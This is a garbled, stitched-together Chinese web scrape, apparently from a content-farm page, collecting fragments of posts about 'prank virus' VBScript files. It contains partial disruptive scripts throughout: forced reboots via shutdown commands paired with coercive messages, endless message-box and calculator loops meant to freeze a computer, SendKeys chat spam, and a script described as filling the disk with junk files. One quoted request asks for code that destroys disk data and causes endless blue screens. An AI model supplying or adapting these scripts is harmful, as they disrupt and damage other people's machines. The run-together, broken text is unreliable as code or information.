1、Const name = quot你的名字quotDim fso，WshShell，StartTime，i Set WshShell = WScriptCreateObject quotWScriptShellquotSet fso = WScriptCreateObject quotScriptingFilesystemObjectquotSet cls = fsoCreateTextFile quotclsscfquot；请问你是想要那个全屏的效果，还是全部的病du代码这里列出了全屏效果的代码，那个全部代码很长，如果你需要，我可以上传 ltHTML ltHEAD ltTITLE暴风一号ltTITLE ltHTAAPPLICATION APPLICATIONNAME=quotBoyFine V10quotSCROLL。

2、毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件请准备好30G空间具体在代码中仅供恶搞娱乐和研究，没有攻击任何人，组织的意图set qstart = wscriptCreateObjectquotwscriptshellquotset qweb = CreateObjectquot；CreateObject quotSAPISpVoicequotSpeak quotAlthough you now just like an apple， be had gone， but you don#39t be sad， if that person is me， I will be a finished， ha ha ha ha！ quotWScriptEchoquot怎么样；你和我上学的时候有相同的爱好我04年的时候写了一个类似自动发送消息的小东西 就是模拟键盘输入 事先设定循环写的次数还有要写什么东西 要运行vbs的前提是对方机器有wscript服务还有个比较狠的，在c盘上建立一个1。

3、on error resume nextdim WSHshellAset WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 180 c quotquot三分钟内决定是否嫁给我，否则会被关机quotquot quot，0 ，true dim ado；Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wshsendKeys quot%squotnext wscriptquit；代码如下WScriptEchoquot嘿，谢谢你打开我哦，我等你很久拉quotTSNameWScriptEchoquot你是可爱的小朋吗？quotWScriptEchoquot哈，我想你拉，这你都不知道吗quotWScriptEchoquot怎么才来，说~是不是不关心我quot；你要修改为VBS的后缀 恶搞电脑病毒代码介绍二新建一个文本文档，然后插入hhjsfdusnjwindowhffjfiukjei kfdjksfjjkk，最后插入图片，如果对方有邮箱，就发给他 他一打开就会出现你插入的图片，然后出现 蓝屏；求一个超毒无比的vbs代码，最好能破坏电脑和安全模式也修复不了的vbs代码一定要超毒的 最好能无限蓝屏重启还有能破坏掉硬盘数据 最好能无限蓝屏重启还有能破坏掉硬盘数据 展开 #xE768 我来答 5个回答 #热议# 生活中；工具材料 Sublime Text 首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示 然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗 接下来这个脚本每一次；WSHshellArun quotcmdexe c shutdown r t 60 c quotquot说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试quotquot quot，0，true dim a do whilea lt quot我是XX，大哥我真的是XX啊！quota = inputbox。

4、代码一无限弹出信息框 双引号内可以自行修改do msgbox quot爱邱哥爱生活quot loop 代码二打开N个计算器，到电脑死机et wsh=createobjectquotwscriptshellquot do wshrun quotcalcquot loop 代码三电脑关机dim WSHshell set WSHshell = wscript；代码一无限弹出信息框 双引号内可以自行修改 do msgbox quot爱邱哥爱生活quotloop 代码二打开N个计算器，到电脑死机 et wsh=createobjectquotwscriptshellquotdo wshrun quotcalcquotloop 代码三电脑关机 dim WSHshell set WSHsh。